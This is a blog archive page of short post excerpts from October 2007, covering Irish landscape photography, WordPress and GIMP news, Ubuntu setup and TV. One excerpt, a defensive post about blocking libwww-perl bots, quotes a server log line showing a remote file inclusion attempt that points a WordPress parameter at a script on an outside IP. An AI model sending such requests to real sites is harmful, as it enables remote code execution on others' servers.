October 2007
69 posts
Donncha’s Tuesday Links
There’s nothing like the laughter of your baby to perk up one’s morning after a bank holiday weekend!
WordPress 2.3.1 was released on Friday. The new WordPress MU will be ready soon.
Omry has released a new version of WPMU Plugin Commander to make administrating regular WordPress plugins in a WordPress MU install easier. Here’s the discussion thread. Looks like a very useful tool and I’m glad I...
The Kerry Flag
The Kerry Flag
Kerry were still celebrating their win in the All Ireland when we stayed in Dingle a few weeks back and flags were flying everywhere!Canon 20D , flag, Houses, Ireland, irishblogs, Kerry, photos, Sigma 10 20, Sky, Urban
(via In Photos dot org)
Vim’s cursor keys work in Mac OS X again
export TERM=linux Ever since my Macbook died and was fixed again Vim hasn’t worked properly in iTerm. I’m a big fan of SSH and Screen. SSH to connect to a remote server, and Screen is like a workspace organiser for your SSH session. First of all the backspace key worked in Vim even when not in insert mode, but worst of all, the cursor keys refused to work and only succeeded in ringing bells in...
Shadows on Slea Head
Shadows on Slea Head
Shadows from the broken clouds above play over the landscape on Slea Head in Co. Kerry. Every moment was a different photo until the rain eventually caught up with us!
Beach, Canon 20D, holiday, Ireland, irishblogs, Kerry, Landscape, light, Nature, photos, Sea, shadows, Sigma 10 20, Sky, Slea Head, Sun, vacation, Water
(via In Photos dot org)
Halloween Pumpkin Head
Halloween Pumpkin Head
A Halloween Pumpkin Head or Jack-o’-lantern stares off at the community hall where Mallow Camera Club meet each Monday. I spotted the head after our last meeting. It’s hand-held in low light so I had to pump up the ISO to get a steady shot. More on this Halloween tradition: http://en.wikipedia.org/wiki/Jack-o’-lantern http://wilstar.com/holidays/hallown.htmCanon 20D ,...
What time is it WordPress?
Daylight Saving Time (DST) kicked in this morning in Ireland, the UK and many other parts of the world when the clocks went back 1 hour. The US is next week from what I remember. If your server is using UTC time, check Options->General, the “Times in the weblog should differ by” textbox in your blog and adjust accordingly!
Here’s a discussion on the WordPress.com forums about the issue from...
Donncha’s Saturday Links
A mixed bag, from germs and bugs to splogs and chocolate tasters.
Grannymar reminds us germs lurk everywhere. I’m always careful in public toilets, but it never occurred to me how bug-ridden ATMs are!
wp-hashcash works pretty well as an anti-comment spam tool. Make sure you have curl installed before installing it. Now, will someone adapt it for use on WordPress MU’s signup form, or maybe even...
Montague Burton the Tailor of Taste
Montague Burton the Tailor of Taste
Like the stone laid by Barbara Jessie Burton in 1927, this doorway probably goes unnoticed by most people on Prince’s Street. It’s right next to the stone linked above, but the door is usually closed.
I spotted this colourful mosaic out of the corner of my eye and recognised the Burton name from my previous post.Advertising , Architecture, Burton, Canon 20D,...
It’s all about the L drivers
It’s all about the learner drivers. Yesterday the Road Safety Authority here in Ireland decided to finally enforce and tighten up the rules regarding drivers on provisional licenses and it caused uproar. I have some sympathy for learner drivers because they were only given 4 days notice. The new regime starts on Tuesday. While it’s true that learner drivers are in the main more nervous and less...
The Season 7 24 Trailer
Just how many bad days can Jack Bauer have? Mark says “24 has ripped off all four Die Hard movies all at once.” with this trailer and it looks like he’s right. Every season gets bigger and bigger. I can’t wait ’til it starts! The Sky one page doesn’t have any start details, and Sky+ shows it’s not on next Sunday. Waiting, waiting, waiting ..24 , irishblogs, Jack Bauer, Movies, trailer, tv
...
Donncha’s Friday Links
Links are back, for now
Stumble Crumble displays your Stumbled links in your sidebar.
GRAMPS - open source geneology software for Linux and Windows and can be compiled on Mac OS X, FreeBSD and Solaris too. Via an Irish blogger, can’t remember who, comment and I’ll update the post!
Thanks Photub for linking to the GIMP lomo plugin I released a few days ago.
Remember LOLcats? Now there’s...
Dunnes Stores for Better Value
Dunnes Stores for Better Value
The old Dunnes Stores on Patrick’s Street is now only a shadow of it’s former self. All that remains of the building is the front facade and a small portion of the side walls.
Construction work on the Paul Street development has levelled most of the back buildings in a square block, exposing the internals of other buildings to the elements.
I spotted photos...
Life after Text Link Ads
Hi, my name is Donncha and I used to have text-link-ads on my blog. They’re gone now but only after Google slapped me into submission and reduced my page rank to 4. Initially I felt angry and shocked that this happened but I have no excuse, I heard it from the horses mouth, I knew it was coming. I was one of those evil unscrupulous demons who manipulated the pagerank of other sites for money. My...
When is an Alfa Romeo really a Maserati?
When it’s the new Alfa Romeo 8C Competizione. This is the first rear wheel drive car from Alfa Romeo since 1992 and there are only going to be 500 made in the first production run, with 500 made in the second in 2009. Don’t bother going to your dealer, they’re all sold out! As you may know I’m a bit of a fan of the Alfa Romeo 147 having owned one a couple of years ago. Such beautiful cars, and...
The crow stops here
The crow stops here
A crow atop a STOP sign on The Grand Parade, Cork. Shot using a fairly high ISO but bicubic resizing smudges the noise away!Birds , Black and White, Canon 20D, Cork, crow, Grand Parade, Ireland, irishblogs, look up, photos, Sigma 10 20, Signs, Sky, STOP, Urban
(via In Photos dot org)
We can have a good world
Watch Hans Rosling’s great talk at TED 2006 where he, “demonstrates how developing countries are pulling themselves out of poverty. He shows us the next generation of his Trendalyzer software — which analyzes and displays data in amazingly accessible ways, allowing people to see patterns previously hidden behind mountains of stats. (Ten days later, he announced a deal with Google to acquire the...
GIMP 2.4 is out
The new release of GIMP 2.4 is finally out! Sven announced it on the Gimp User mailing list this morning. It seems like forever since 2.2 was released but he has promised that 2.6 won’t be as long in the making.
The roadmap for GIMP 2.6 will be discussed over the next weeks on the gimp-developer mailing-list. We can only tell you so much now: It is going to rock and it shouldn’t take as long to...
Trust on the street
Trust on the street
Have you ever thought about how you’re manipulated by the brands?
Trust Boots.
bags, Black and White, Boots, Candid, Canon 20D, Cork, Ireland, irishblogs, Panna, People, photos, shopping, Sigma 10 20, St Patricks Street, Street, Urban
(via In Photos dot org)
GIMP Lomo Plugin
This is a slighly modified version of an old GIMP Lomo plugin I’ve used for ages that will now work with the new GIMP 2.4 release thanks to some advice I remembered reading on the GIMP User mailing list. The original plugin is by Francois Le Lay but hasn’t been updated since 2005. It’s a basic script but it’s very effective. Just be warned, if you resize your image, make sure you right click on...
Parked Motorbikes
Parked Motorbikes
Two motorbikes parked on the South Mall attracted my attention especially as a strong sun reflected off the clean chrome. Yes, I know there’s a weird diagonal, yes it is distracting. Yes, it is intentional. Enjoy!Black and White , Canon 20D, Cork, Ireland, irishblogs, motorbike, parked, photos, Sigma 10 20, South Mall, Sun, Urban, Vehicles
(via In Photos dot org)
10 minutes left in Halifax & Late Late Show Extra...
Just in case you have the perfect image to submit to the Halifax & Late Late Show Extra competition the closing date is today, in about 10 minutes. That’s right. 6pm is the deadline. First prize is €10,000. Is that worth 10 minutes of your time? I’m going to enter if I can find a suitable image! Extra, halifax, irishblogs, Late Late Show, photography, Words (via In Photos dot org)
St. Anne’s Church Tower
St. Anne’s Church
The Shandon bell tower of St. Anne’s Church is one of the most recognisable sights around Cork. Here it is viewed from the end of Academy Street by Patrick’s Street.
Academy Street, Architecture, Black and White, Canon 20D, car, Cork, Ireland, irishblogs, photos, Shandon Bells, Sigma 18 200, Urban, Vehicles
(via In Photos dot org)
The Linux Number Plate
Thanks Mark for pointing me to this eBay auction for the license plate, L1NUX. Current bid is £5,100 and the reserve hasn’t been met yet. I wonder will Alan Cox bid? There are a few days left so take your time and empty out that piggy bank.auction , ebay, irishblogs, l1nux, Linux, number plate
(via Holy Shmoly!)
Why you need the Adsense Competitive Ad Filter
While it didn’t invent search-triggered ads, Google figured out a far more efficient way of turning web-users into buyers. Rather than doling out premium space to the highest bidder, as its competitors did, Google used another algorithm to work out how relevant the ad text was to a given query and the odds someone would actually click on it. This meant ads were targeted at the users most likely to...
Through the long grass
Through the long grass
Hard wind worn grass grows by the beach at Wine Strand in Co. Kerry. I think this is perfect in black and white.
The blue sky was amazing but the light and shadow of the grass stands out against the uniform background. I shot my first sports stuff in ages yesterday. A few of us from Mallow Camera Club made it to the Cobh Ramblers game against Dundalk and had free reign...
Rain blows over Slea Head
Rain blows over Slea Head
Rain descended on us moments after I took this shot as it sped across the bay and over Slea Head from the south! This was taken above Couminole Beach.Canon 20D , Dingle Peninsula, fog, Ireland, irishblogs, Kerry, Landscape, photos, Rain, Sea, Sigma 10 20, Sky, Slea Head, Water
(via In Photos dot org)
Ubuntu Gutsy on the Dell Latitude D630
I previously documented my problems with Ubuntu and the DVD in the D630 but the upgrade to Ubuntu 7.10 Gutsy From Feisty went almost painlessly. All the packages downloaded and installed through the nice GUI front end. I was able to work away while they downloaded and for most of the time during install too, but when I rebooted I found that sound wasn’t working! I found this solution but I didn’t...
The end of the world
How will it end? I watched Earthstorm last night in which the moon was hit by a huge asteroid causing a gigantic split in the surface of our closest neighbour and potentially slicing off a bit that falls into the Earth killing everyone. Luckily, demolition expert John Redding (played by Stephen Baldwin who’s the spit of his brother) saves the day and everyone lives happily ever after. Well...
Yellow Walking Man
Yellow Walking Man
An arrow points the way for walkers near Wine Strand on the Dingle Peninsula. Across the water is Ballydavid or Baile na nGall.
Beautiful clear skies, lovely calm water. Ideal weather.
Baile na nGall, Beach, Canon 20D, clouds, Dingle, Ireland, irishblogs, Kerry, Landscape, Nature, photos, Rocks, Sea, Sigma 10 20, Sky, Water
(via In Photos dot org)
Photoshopped in real life
If you don’t read xkcd you’re missing out cartoon, Funny, irishblogs, photography, photoshop, Words, xkcd (via In Photos dot org)
Dingle
Dingle
The town of Dingle, or “An Daingean” as it’s officially known as now. The name change has upset many local people who mourn the loss of their identity and fear that the brand recognition of the name Dingle will be lost on (mostly American) tourists who flock here through out the summer.
The 2005 Placenames Order changed the name and it’s an utterly silly law. Yes the town is in an...
Howto: WP-Cache and protected posts
If you use protected posts on your WordPress blog you may have noticed that WP-Cache doesn’t cache those password protected posts properly. I didn’t know this, but James Farmer did so I went looking and found a fix. In the plugins/wp-cache/ directory, open wp-cache-phase1.php in your favourite text editor and look for the following line: if (preg_match(”/^wordpress|^comment_author_email_/”, $key))...
The waves at Couminole
The waves at Couminole
Waves about to crash down on the nearby rocks at Couminole Beach on Slea Head, Co. Kerry.
Originally this was in colour but it lacked punch. Converting it to black and white and slightly overexposing the blue channel created this dramatic scene.
Beach, Canon 20D, Couminole, Dingle, Dingle Peninsula, Ireland, irishblogs, Kerry, Landscape, Nature, photos, Rocks, Sea,...
Disimprove
Definition of Disimprove
Dis`im`prove´
v. t. 1. To make worse; - the opposite of improve.
v. i. 1. To grow worse; to deteriorate.
Webster Dictionary
And here was me thinking my wife had made up this word because I never hear anyone else use that word. Sorry Jess.
What unusual words do the people in your life use?
dictionary, donncha, irishblogs, Jacinta
(via Holy Shmoly!)
Shadows of a blue sky
Shadows of a blue sky
Shadows from unseen clouds leave their mark on the ground telling of their passage through the heavens.
Shot on Wine Strand, Co. Kerry, looking across the bay.
Canon 20D, Dingle, holiday, Ireland, irishblogs, Kerry, photos, shadows, Sigma 10 20, Sky, vacation
(via In Photos dot org)
Top five movie car chases
The Sunday Times hitlist listed the top 5 movie car chases in memory of the grandfather of stunts, Bud Ekins died earlier this month at the age of 77. He appeared in several films including The Great Escape, Bullitt and coordinated the stunts in CHiPS. I won’t subject you to Poncherello, but thanks to Youtube, here are the best car chases of all time:
The French Connection (1971)
… it’s never...
Stop sending me junk mail Chorus
The previous owners of my home had a Chorus box and never cancelled their account properly, or told them they were moving so for the past three years they have been sending me brochures every few weeks or months. At least I presume they didn’t, but all the brochures are addressed to “The Resident”. This blog post is a reminder to myself that I finally rang them on 1890 940 940, pressed 1...
Sunlit Grassy Slopes
Sunlit Grassy Slopes
Tough grass that’s lovely and springy to walk on edge to the horizon where a cloud floats serenely in the blue sky. Life is good! This is taken close to this photo of the same slope but the mood is completely different.Autumn , Canon 20D, cloud, Dingle, grass, Ireland, irishblogs, Kerry, Landscape, photos, Sigma 10 20, Sky
(via In Photos dot org)
Boycott Star Wars, not Ewan McGregor
A recent comment urged the boycotting of Ewan McGregor on the grounds that he has insulted Star Wars fans. I don’t know what he did to make them mad but I think Star Wars should be boycotted on the premise that they were crap films and the sooner the whole merchandising juggernaut disappears the better. Even Grandad thinks they’re rather strange. How long is your lightsaber Grandad?
‘Course I’m...
Laneway fence
Laneway fence
An old fence follows the road off into the distance at Wine Strand in the Dingle Peninsular, Co. Kerry. Lines, lines everywhere, I love lines!Black and White , Canon 20D, fence, Ireland, irishblogs, Kerry, lines, photos, road, Sigma 10 20, Wine Strand
(via In Photos dot org)
Windswept grass and fence
Windswept grass and fence
The tough grass by a beach in Kerry grows thick on this hill, bounded by a wire fence to keep curious people like myself at bay!
This is an experiment for me. I thought the b/w treatment would work well as the image is full of texture, lines and shadow. What do you think? Another similar one to follow tomorrow.
Beach, Black and White, Canon 20D, fence, grass,...
Carried away with working on photos
I wanted to take it easy tonight. It’s been a long week but here I am still. 16 photos worked on in the GIMP and ready to upload. You’re in for a treat next week with some of my shots from Kerry, even if I do say so myself!gimp , irishblogs, photography, Words
(via In Photos dot org)
The Irish Tricolour
The Irish Tricolour
The Irish Flag, or Tricolour hangs outside the Muskerry Arms Pub in Blarney. More here: http://en.wikipedia.org/wiki/Flag_of_Ireland
The beautiful weather recently provided a perfect opportunity to shoot outside. Yay!
Blarney, Canon 20D, Cork, flag, Ireland, irishblogs, look up, Muskerry Arms, photos, Sigma 10 20, Sky, tricolour, Urban
(via In Photos dot org)
The biggest Backstreet Boys fan
All bow before the dance sensation that is Snowball the Cockatoo. Watch him move to the rhythm of “Everybody” by Backstreet Boys. If you like that, you might like As Long As You Love Me too!
There is a serious side to this however. From the original Youtube description: Not my video but I felt that it had to be posted on youtube to draw attention to an important issue, Bird rescues and...
Shih Tzu in flight
Shih Tzu in flight
My Shih Tzu Oscar just after he picked up the ball I threw for him!
Most dogs have a strong fetch instinct but Oscar’s was hidden away until we discovered it earlier this year. Now he loves the phrase “where’s the ball Oscar?”animals , ball, Blarney, Canon 20D, chitzu, Cork, dog, dogs, garden, grass, Ireland, irishblogs, oscar, photos, playing fetch, shih tzu,...
Census 1901 - a look into the past
Do a search for Census 1901 Ireland and you’ll find lots of sites offering lists and information from the census that year. However for a personal insight into the Census, Grannymar has an interesting post. It was a completely different world. “The good old days” indeed! Column 4 – Education.
State here whether he or she can “Read and Write,” can “Read” only, or “Cannot Read.”1901 , Grannymar,...
How to build a pop-up flash diffuser
If you use the built-in flash on your camera you’re probably used to the ugly effect direct light has on portraits and scenes: red eye, background shadows and foreground brightness, lost blown out detail. You can avoid all that by buying an external flash and bouncing or you can build a flash diffuser to sit in front of your camera.
Looks like a fun project to try too!
flash, flash diffuser,...
Sitting around at the GPO
Sitting around at the GPO
Teens sit around on the limestone blocks on Oliver Plunkett Street, Cork. That’s the Post Office in the background and the infamous Hi-B Bar to the left where you can be thrown out or verbally abused if the eccentric owner doesn’t like the look of you!
Candid, Canon 20D, Cork, GPO, Hi B, Ireland, irishblogs, Oliver Plunkett Street, People, photos, Post Office, Sigma...
Keep the libwww-perl bad guys out
If you look through your server logs you’ll probably notice more than a few requests like these:
GET //wp-pass.php?_wp_http_referer=http://148.245.107.2/.ssh/id.txt?? … “libwww-perl/5.805″
GET /2004/02/18/smoking-ban-is-on-the-way/trackback/ … “libwww-perl/5.805″
GET /2004/02/18/irish-car-tax-list/trackback/ … “libwww-perl/5.805″
GET...
Killinaskully: The Order of the Stoat
I’m a sort-of fan of Killinaskully. Some episodes are great while others are yawn inducing boring affairs. Last year’s Halloween episode was great fun and the first episode of the new season opened with the depiction of a secret society called the Ancient Order of the Stoat. I almost fell out of my seat when I heard the initiation phrases uttered by Willy when he discovered where the society met....